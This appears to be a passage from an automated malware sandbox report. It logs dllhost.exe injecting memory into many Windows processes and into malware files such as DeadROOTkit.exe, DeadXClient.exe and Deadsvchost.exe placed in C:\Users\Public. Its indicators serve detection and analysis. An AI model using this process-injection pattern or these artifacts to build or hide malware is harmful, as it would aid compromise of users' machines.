Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108B940000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166930000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E27BC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 8BA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF641A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 151C5AA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 270F8FD0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 16BF33D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1A348770000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 2FB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1F3EAD60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 18686DD0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 24F4DB10000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 27E6F950000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 10C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 10C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: EF0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 2DC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: EC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: A50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: ED0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 13E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: E20000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: B70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F20000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 15B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 2B60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1350000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F20000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1310000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1270000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: AA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F20000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 2F40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: E70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1150000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: ED0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: C20000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: A40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: FC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1380000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 900000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: C00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 14C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: D00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 9F0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 13F0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: B40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: D00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 510000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 6E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 9E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: E30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: EA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 13D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 10B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 870000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: EF0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: B90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: FC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F10000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1390000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: B00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1470000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 5C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: FC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: C50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 910000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 5B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: EF0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: EE0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: BD0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 3B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 790000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 8C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: C50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1210000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: BD0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: DA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: C60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: FC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 9B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Users\Public\DeadXClient.exe base: 1B410000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Users\Public\DeadROOTkit.exe base: 1B9F0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 13B38860000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1F080000000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1EF2F790000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 24D21B40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 2023BB50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\schtasks.exe base: 1A8EC190000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 2CCE00B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Users\Public\Deadsvchost.exe base: 560000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Users\Public\Deadsvchost.exe base: 940000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Users\user\AppData\Local\DeadROOTkit.exe base: 11C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E9CEF00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E9CEF60000	Jump to behavior
